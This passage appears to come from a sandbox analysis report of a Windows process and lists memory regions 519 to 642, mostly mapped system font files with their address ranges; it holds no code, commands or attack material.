"\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 519 start_va = 0x5c00000 end_va = 0x654cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 520 start_va = 0x5c00000 end_va = 0x654cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 521 start_va = 0x5c00000 end_va = 0x654cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 522 start_va = 0x7190000 end_va = 0x798ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007190000" filename = "" Region: id = 523 start_va = 0x1290000 end_va = 0x1324fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "himalaya.ttf" filename = "\\Windows\\Fonts\\himalaya.ttf" (normalized: "c:\\windows\\fonts\\himalaya.ttf") Region: id = 524 start_va = 0x1290000 end_va = 0x1324fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "himalaya.ttf" filename = "\\Windows\\Fonts\\himalaya.ttf" (normalized: "c:\\windows\\fonts\\himalaya.ttf") Region: id = 525 start_va = 0x7990000 end_va = 0x8e38fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 526 start_va = 0x7990000 end_va = 0x8e38fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 527 start_va = 0x5c00000 end_va = 0x69d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttf" filename = "\\Windows\\Fonts\\msjhbd.ttf" (normalized: "c:\\windows\\fonts\\msjhbd.ttf") Region: id = 528 start_va = 0x5c00000 end_va = 0x69d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msjhbd.ttf" filename = "\\Windows\\Fonts\\msjhbd.ttf" (normalized: "c:\\windows\\fonts\\msjhbd.ttf") Region: id = 529 start_va = 0x7990000 end_va = 0x8e52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 530 start_va = 0x7990000 end_va = 0x8e52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 531 start_va = 0x5c00000 end_va = 0x69edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttf" filename = "\\Windows\\Fonts\\msyhbd.ttf" (normalized: "c:\\windows\\fonts\\msyhbd.ttf") Region: id = 532 start_va = 0x5c00000 end_va = 0x69edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyhbd.ttf" filename = "\\Windows\\Fonts\\msyhbd.ttf" (normalized: "c:\\windows\\fonts\\msyhbd.ttf") Region: id = 533 start_va = 0x7990000 end_va = 0x9849fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 534 start_va = 0x7990000 end_va = 0x9849fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 535 start_va = 0x7990000 end_va = 0x9849fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 536 start_va = 0x7990000 end_va = 0x9849fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 537 start_va = 0x7990000 end_va = 0x99cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliub.ttc" filename = "\\Windows\\Fonts\\mingliub.ttc" (normalized: "c:\\windows\\fonts\\mingliub.ttc") Region: id = 538 start_va = 0x7990000 end_va = 0x99cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliub.ttc" filename = "\\Windows\\Fonts\\mingliub.ttc" (normalized: "c:\\windows\\fonts\\mingliub.ttc") Region: id = 539 start_va = 0x7990000 end_va = 0x99cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliub.ttc" filename = "\\Windows\\Fonts\\mingliub.ttc" (normalized: "c:\\windows\\fonts\\mingliub.ttc") Region: id = 540 start_va = 0x7990000 end_va = 0x99cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mingliub.ttc" filename = "\\Windows\\Fonts\\mingliub.ttc" (normalized: "c:\\windows\\fonts\\mingliub.ttc") Region: id = 541 start_va = 0x1290000 end_va = 0x12e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monbaiti.ttf" filename = "\\Windows\\Fonts\\monbaiti.ttf" (normalized: "c:\\windows\\fonts\\monbaiti.ttf") Region: id = 542 start_va = 0x1290000 end_va = 0x12e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "monbaiti.ttf" filename = "\\Windows\\Fonts\\monbaiti.ttf" (normalized: "c:\\windows\\fonts\\monbaiti.ttf") Region: id = 543 start_va = 0x5c00000 end_va = 0x64c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 544 start_va = 0x5c00000 end_va = 0x64c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 545 start_va = 0x5c00000 end_va = 0x64c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 546 start_va = 0x5c00000 end_va = 0x64c0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 547 start_va = 0x5c00000 end_va = 0x6597fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmincho.ttc" filename = "\\Windows\\Fonts\\msmincho.ttc" (normalized: "c:\\windows\\fonts\\msmincho.ttc") Region: id = 548 start_va = 0x5c00000 end_va = 0x6597fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmincho.ttc" filename = "\\Windows\\Fonts\\msmincho.ttc" (normalized: "c:\\windows\\fonts\\msmincho.ttc") Region: id = 549 start_va = 0x5c00000 end_va = 0x6597fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msmincho.ttc" filename = "\\Windows\\Fonts\\msmincho.ttc" (normalized: "c:\\windows\\fonts\\msmincho.ttc") Region: id = 550 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mvboli.ttf" filename = "\\Windows\\Fonts\\mvboli.ttf" (normalized: "c:\\windows\\fonts\\mvboli.ttf") Region: id = 551 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mvboli.ttf" filename = "\\Windows\\Fonts\\mvboli.ttf" (normalized: "c:\\windows\\fonts\\mvboli.ttf") Region: id = 552 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntailu.ttf" filename = "\\Windows\\Fonts\\ntailu.ttf" (normalized: "c:\\windows\\fonts\\ntailu.ttf") Region: id = 553 start_va = 0x450000 end_va = 0x464fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntailu.ttf" filename = "\\Windows\\Fonts\\ntailu.ttf" (normalized: "c:\\windows\\fonts\\ntailu.ttf") Region: id = 554 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntailub.ttf" filename = "\\Windows\\Fonts\\ntailub.ttf" (normalized: "c:\\windows\\fonts\\ntailub.ttf") Region: id = 555 start_va = 0x450000 end_va = 0x462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntailub.ttf" filename = "\\Windows\\Fonts\\ntailub.ttf" (normalized: "c:\\windows\\fonts\\ntailub.ttf") Region: id = 556 start_va = 0x1290000 end_va = 0x12fafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nyala.ttf" filename = "\\Windows\\Fonts\\nyala.ttf" (normalized: "c:\\windows\\fonts\\nyala.ttf") Region: id = 557 start_va = 0x1290000 end_va = 0x12fafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nyala.ttf" filename = "\\Windows\\Fonts\\nyala.ttf" (normalized: "c:\\windows\\fonts\\nyala.ttf") Region: id = 558 start_va = 0x710000 end_va = 0x733fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "phagspa.ttf" filename = "\\Windows\\Fonts\\phagspa.ttf" (normalized: "c:\\windows\\fonts\\phagspa.ttf") Region: id = 559 start_va = 0x710000 end_va = 0x733fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "phagspa.ttf" filename = "\\Windows\\Fonts\\phagspa.ttf" (normalized: "c:\\windows\\fonts\\phagspa.ttf") Region: id = 560 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "phagspab.ttf" filename = "\\Windows\\Fonts\\phagspab.ttf" (normalized: "c:\\windows\\fonts\\phagspab.ttf") Region: id = 561 start_va = 0x710000 end_va = 0x734fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "phagspab.ttf" filename = "\\Windows\\Fonts\\phagspab.ttf" (normalized: "c:\\windows\\fonts\\phagspab.ttf") Region: id = 562 start_va = 0x450000 end_va = 0x46dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "plantc.ttf" filename = "\\Windows\\Fonts\\plantc.ttf" (normalized: "c:\\windows\\fonts\\plantc.ttf") Region: id = 563 start_va = 0x450000 end_va = 0x46dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "plantc.ttf" filename = "\\Windows\\Fonts\\plantc.ttf" (normalized: "c:\\windows\\fonts\\plantc.ttf") Region: id = 564 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "raavi.ttf" filename = "\\Windows\\Fonts\\raavi.ttf" (normalized: "c:\\windows\\fonts\\raavi.ttf") Region: id = 565 start_va = 0x450000 end_va = 0x467fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "raavi.ttf" filename = "\\Windows\\Fonts\\raavi.ttf" (normalized: "c:\\windows\\fonts\\raavi.ttf") Region: id = 566 start_va = 0x450000 end_va = 0x466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "raavib.ttf" filename = "\\Windows\\Fonts\\raavib.ttf" (normalized: "c:\\windows\\fonts\\raavib.ttf") Region: id = 567 start_va = 0x450000 end_va = 0x466fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "raavib.ttf" filename = "\\Windows\\Fonts\\raavib.ttf" (normalized: "c:\\windows\\fonts\\raavib.ttf") Region: id = 568 start_va = 0x1290000 end_va = 0x1327fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoesc.ttf" filename = "\\Windows\\Fonts\\segoesc.ttf" (normalized: "c:\\windows\\fonts\\segoesc.ttf") Region: id = 569 start_va = 0x1290000 end_va = 0x1327fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoesc.ttf" filename = "\\Windows\\Fonts\\segoesc.ttf" (normalized: "c:\\windows\\fonts\\segoesc.ttf") Region: id = 570 start_va = 0x1290000 end_va = 0x1323fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoescb.ttf" filename = "\\Windows\\Fonts\\segoescb.ttf" (normalized: "c:\\windows\\fonts\\segoescb.ttf") Region: id = 571 start_va = 0x1290000 end_va = 0x1323fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoescb.ttf" filename = "\\Windows\\Fonts\\segoescb.ttf" (normalized: "c:\\windows\\fonts\\segoescb.ttf") Region: id = 572 start_va = 0x1290000 end_va = 0x130efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 573 start_va = 0x1290000 end_va = 0x130efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 574 start_va = 0x1290000 end_va = 0x1309fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuib.ttf" filename = "\\Windows\\Fonts\\segoeuib.ttf" (normalized: "c:\\windows\\fonts\\segoeuib.ttf") Region: id = 575 start_va = 0x1290000 end_va = 0x1309fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuib.ttf" filename = "\\Windows\\Fonts\\segoeuib.ttf" (normalized: "c:\\windows\\fonts\\segoeuib.ttf") Region: id = 576 start_va = 0x1290000 end_va = 0x12eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuii.ttf" filename = "\\Windows\\Fonts\\segoeuii.ttf" (normalized: "c:\\windows\\fonts\\segoeuii.ttf") Region: id = 577 start_va = 0x1290000 end_va = 0x12eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuii.ttf" filename = "\\Windows\\Fonts\\segoeuii.ttf" (normalized: "c:\\windows\\fonts\\segoeuii.ttf") Region: id = 578 start_va = 0x1290000 end_va = 0x12f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuiz.ttf" filename = "\\Windows\\Fonts\\segoeuiz.ttf" (normalized: "c:\\windows\\fonts\\segoeuiz.ttf") Region: id = 579 start_va = 0x1290000 end_va = 0x12f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuiz.ttf" filename = "\\Windows\\Fonts\\segoeuiz.ttf" (normalized: "c:\\windows\\fonts\\segoeuiz.ttf") Region: id = 580 start_va = 0x1290000 end_va = 0x12f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "seguisb.ttf" filename = "\\Windows\\Fonts\\seguisb.ttf" (normalized: "c:\\windows\\fonts\\seguisb.ttf") Region: id = 581 start_va = 0x1290000 end_va = 0x12f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "seguisb.ttf" filename = "\\Windows\\Fonts\\seguisb.ttf" (normalized: "c:\\windows\\fonts\\seguisb.ttf") Region: id = 582 start_va = 0x1290000 end_va = 0x12e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuil.ttf" filename = "\\Windows\\Fonts\\segoeuil.ttf" (normalized: "c:\\windows\\fonts\\segoeuil.ttf") Region: id = 583 start_va = 0x1290000 end_va = 0x12e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "segoeuil.ttf" filename = "\\Windows\\Fonts\\segoeuil.ttf" (normalized: "c:\\windows\\fonts\\segoeuil.ttf") Region: id = 584 start_va = 0x1290000 end_va = 0x130efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "seguisym.ttf" filename = "\\Windows\\Fonts\\seguisym.ttf" (normalized: "c:\\windows\\fonts\\seguisym.ttf") Region: id = 585 start_va = 0x1290000 end_va = 0x130efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "seguisym.ttf" filename = "\\Windows\\Fonts\\seguisym.ttf" (normalized: "c:\\windows\\fonts\\seguisym.ttf") Region: id = 586 start_va = 0xa80000 end_va = 0xac1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shruti.ttf" filename = "\\Windows\\Fonts\\shruti.ttf" (normalized: "c:\\windows\\fonts\\shruti.ttf") Region: id = 587 start_va = 0xa80000 end_va = 0xac1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shruti.ttf" filename = "\\Windows\\Fonts\\shruti.ttf" (normalized: "c:\\windows\\fonts\\shruti.ttf") Region: id = 588 start_va = 0x710000 end_va = 0x749fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shrutib.ttf" filename = "\\Windows\\Fonts\\shrutib.ttf" (normalized: "c:\\windows\\fonts\\shrutib.ttf") Region: id = 589 start_va = 0x710000 end_va = 0x749fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shrutib.ttf" filename = "\\Windows\\Fonts\\shrutib.ttf" (normalized: "c:\\windows\\fonts\\shrutib.ttf") Region: id = 590 start_va = 0x5c00000 end_va = 0x6a9dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsun.ttc" filename = "\\Windows\\Fonts\\simsun.ttc" (normalized: "c:\\windows\\fonts\\simsun.ttc") Region: id = 591 start_va = 0x5c00000 end_va = 0x6a9dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsun.ttc" filename = "\\Windows\\Fonts\\simsun.ttc" (normalized: "c:\\windows\\fonts\\simsun.ttc") Region: id = 592 start_va = 0x5c00000 end_va = 0x6a9dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsun.ttc" filename = "\\Windows\\Fonts\\simsun.ttc" (normalized: "c:\\windows\\fonts\\simsun.ttc") Region: id = 593 start_va = 0x5c00000 end_va = 0x6ab1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsunb.ttf" filename = "\\Windows\\Fonts\\simsunb.ttf" (normalized: "c:\\windows\\fonts\\simsunb.ttf") Region: id = 594 start_va = 0x5c00000 end_va = 0x6ab1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simsunb.ttf" filename = "\\Windows\\Fonts\\simsunb.ttf" (normalized: "c:\\windows\\fonts\\simsunb.ttf") Region: id = 595 start_va = 0x710000 end_va = 0x747fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sylfaen.ttf" filename = "\\Windows\\Fonts\\sylfaen.ttf" (normalized: "c:\\windows\\fonts\\sylfaen.ttf") Region: id = 596 start_va = 0x710000 end_va = 0x747fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sylfaen.ttf" filename = "\\Windows\\Fonts\\sylfaen.ttf" (normalized: "c:\\windows\\fonts\\sylfaen.ttf") Region: id = 597 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taile.ttf" filename = "\\Windows\\Fonts\\taile.ttf" (normalized: "c:\\windows\\fonts\\taile.ttf") Region: id = 598 start_va = 0x450000 end_va = 0x461fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taile.ttf" filename = "\\Windows\\Fonts\\taile.ttf" (normalized: "c:\\windows\\fonts\\taile.ttf") Region: id = 599 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taileb.ttf" filename = "\\Windows\\Fonts\\taileb.ttf" (normalized: "c:\\windows\\fonts\\taileb.ttf") Region: id = 600 start_va = 0x450000 end_va = 0x45ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taileb.ttf" filename = "\\Windows\\Fonts\\taileb.ttf" (normalized: "c:\\windows\\fonts\\taileb.ttf") Region: id = 601 start_va = 0x1290000 end_va = 0x135bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 602 start_va = 0x1290000 end_va = 0x135bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 603 start_va = 0x1290000 end_va = 0x1331fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesi.ttf" filename = "\\Windows\\Fonts\\timesi.ttf" (normalized: "c:\\windows\\fonts\\timesi.ttf") Region: id = 604 start_va = 0x1290000 end_va = 0x1331fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesi.ttf" filename = "\\Windows\\Fonts\\timesi.ttf" (normalized: "c:\\windows\\fonts\\timesi.ttf") Region: id = 605 start_va = 0x1290000 end_va = 0x135dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbd.ttf" filename = "\\Windows\\Fonts\\timesbd.ttf" (normalized: "c:\\windows\\fonts\\timesbd.ttf") Region: id = 606 start_va = 0x1290000 end_va = 0x135dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbd.ttf" filename = "\\Windows\\Fonts\\timesbd.ttf" (normalized: "c:\\windows\\fonts\\timesbd.ttf") Region: id = 607 start_va = 0x1290000 end_va = 0x1327fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbi.ttf" filename = "\\Windows\\Fonts\\timesbi.ttf" (normalized: "c:\\windows\\fonts\\timesbi.ttf") Region: id = 608 start_va = 0x1290000 end_va = 0x1327fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "timesbi.ttf" filename = "\\Windows\\Fonts\\timesbi.ttf" (normalized: "c:\\windows\\fonts\\timesbi.ttf") Region: id = 609 start_va = 0x710000 end_va = 0x73efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tunga.ttf" filename = "\\Windows\\Fonts\\tunga.ttf" (normalized: "c:\\windows\\fonts\\tunga.ttf") Region: id = 610 start_va = 0x710000 end_va = 0x73efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tunga.ttf" filename = "\\Windows\\Fonts\\tunga.ttf" (normalized: "c:\\windows\\fonts\\tunga.ttf") Region: id = 611 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tungab.ttf" filename = "\\Windows\\Fonts\\tungab.ttf" (normalized: "c:\\windows\\fonts\\tungab.ttf") Region: id = 612 start_va = 0x710000 end_va = 0x73afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tungab.ttf" filename = "\\Windows\\Fonts\\tungab.ttf" (normalized: "c:\\windows\\fonts\\tungab.ttf") Region: id = 613 start_va = 0x710000 end_va = 0x74ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vrinda.ttf" filename = "\\Windows\\Fonts\\vrinda.ttf" (normalized: "c:\\windows\\fonts\\vrinda.ttf") Region: id = 614 start_va = 0x710000 end_va = 0x74ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vrinda.ttf" filename = "\\Windows\\Fonts\\vrinda.ttf" (normalized: "c:\\windows\\fonts\\vrinda.ttf") Region: id = 615 start_va = 0x710000 end_va = 0x74efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vrindab.ttf" filename = "\\Windows\\Fonts\\vrindab.ttf" (normalized: "c:\\windows\\fonts\\vrindab.ttf") Region: id = 616 start_va = 0x710000 end_va = 0x74efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vrindab.ttf" filename = "\\Windows\\Fonts\\vrindab.ttf" (normalized: "c:\\windows\\fonts\\vrindab.ttf") Region: id = 617 start_va = 0x1290000 end_va = 0x12e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shonar.ttf" filename = "\\Windows\\Fonts\\Shonar.ttf" (normalized: "c:\\windows\\fonts\\shonar.ttf") Region: id = 618 start_va = 0x1290000 end_va = 0x12e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shonar.ttf" filename = "\\Windows\\Fonts\\Shonar.ttf" (normalized: "c:\\windows\\fonts\\shonar.ttf") Region: id = 619 start_va = 0xa80000 end_va = 0xac9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shonarb.ttf" filename = "\\Windows\\Fonts\\Shonarb.ttf" (normalized: "c:\\windows\\fonts\\shonarb.ttf") Region: id = 620 start_va = 0xa80000 end_va = 0xac9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "shonarb.ttf" filename = "\\Windows\\Fonts\\Shonarb.ttf" (normalized: "c:\\windows\\fonts\\shonarb.ttf") Region: id = 621 start_va = 0x1290000 end_va = 0x12e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyi.ttf" filename = "\\Windows\\Fonts\\msyi.ttf" (normalized: "c:\\windows\\fonts\\msyi.ttf") Region: id = 622 start_va = 0x1290000 end_va = 0x12e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msyi.ttf" filename = "\\Windows\\Fonts\\msyi.ttf" (normalized: "c:\\windows\\fonts\\msyi.ttf") Region: id = 623 start_va = 0x1290000 end_va = 0x133afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 624 start_va = 0x1290000 end_va = 0x133afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 625 start_va = 0x1290000 end_va = 0x132efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahomabd.ttf" filename = "\\Windows\\Fonts\\tahomabd.ttf" (normalized: "c:\\windows\\fonts\\tahomabd.ttf") Region: id = 626 start_va = 0x1290000 end_va = 0x132efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tahomabd.ttf" filename = "\\Windows\\Fonts\\tahomabd.ttf" (normalized: "c:\\windows\\fonts\\tahomabd.ttf") Region: id = 627 start_va = 0x1290000 end_va = 0x132ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 628 start_va = 0x1290000 end_va = 0x132ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 629 start_va = 0x450000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsa.ttf" filename = "\\Windows\\Fonts\\angsa.ttf" (normalized: "c:\\windows\\fonts\\angsa.ttf") Region: id = 630 start_va = 0x450000 end_va = 0x46afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsa.ttf" filename = "\\Windows\\Fonts\\angsa.ttf" (normalized: "c:\\windows\\fonts\\angsa.ttf") Region: id = 631 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsai.ttf" filename = "\\Windows\\Fonts\\angsai.ttf" (normalized: "c:\\windows\\fonts\\angsai.ttf") Region: id = 632 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsai.ttf" filename = "\\Windows\\Fonts\\angsai.ttf" (normalized: "c:\\windows\\fonts\\angsai.ttf") Region: id = 633 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsab.ttf" filename = "\\Windows\\Fonts\\angsab.ttf" (normalized: "c:\\windows\\fonts\\angsab.ttf") Region: id = 634 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsab.ttf" filename = "\\Windows\\Fonts\\angsab.ttf" (normalized: "c:\\windows\\fonts\\angsab.ttf") Region: id = 635 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaz.ttf" filename = "\\Windows\\Fonts\\angsaz.ttf" (normalized: "c:\\windows\\fonts\\angsaz.ttf") Region: id = 636 start_va = 0x450000 end_va = 0x469fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaz.ttf" filename = "\\Windows\\Fonts\\angsaz.ttf" (normalized: "c:\\windows\\fonts\\angsaz.ttf") Region: id = 637 start_va = 0x710000 end_va = 0x746fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparaj.ttf" filename = "\\Windows\\Fonts\\aparaj.ttf" (normalized: "c:\\windows\\fonts\\aparaj.ttf") Region: id = 638 start_va = 0x710000 end_va = 0x746fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparaj.ttf" filename = "\\Windows\\Fonts\\aparaj.ttf" (normalized: "c:\\windows\\fonts\\aparaj.ttf") Region: id = 639 start_va = 0x710000 end_va = 0x744fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparajb.ttf" filename = "\\Windows\\Fonts\\aparajb.ttf" (normalized: "c:\\windows\\fonts\\aparajb.ttf") Region: id = 640 start_va = 0x710000 end_va = 0x744fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparajb.ttf" filename = "\\Windows\\Fonts\\aparajb.ttf" (normalized: "c:\\windows\\fonts\\aparajb.ttf") Region: id = 641 start_va = 0x710000 end_va = 0x747fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparajbi.ttf" filename = "\\Windows\\Fonts\\aparajbi.ttf" (normalized: "c:\\windows\\fonts\\aparajbi.ttf") Region: id = 642 start_va = 0x710000 end_va = 0x747fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "aparajbi.ttf" filename = "\\Windows\\Fonts\\aparajbi.ttf" (normalized: 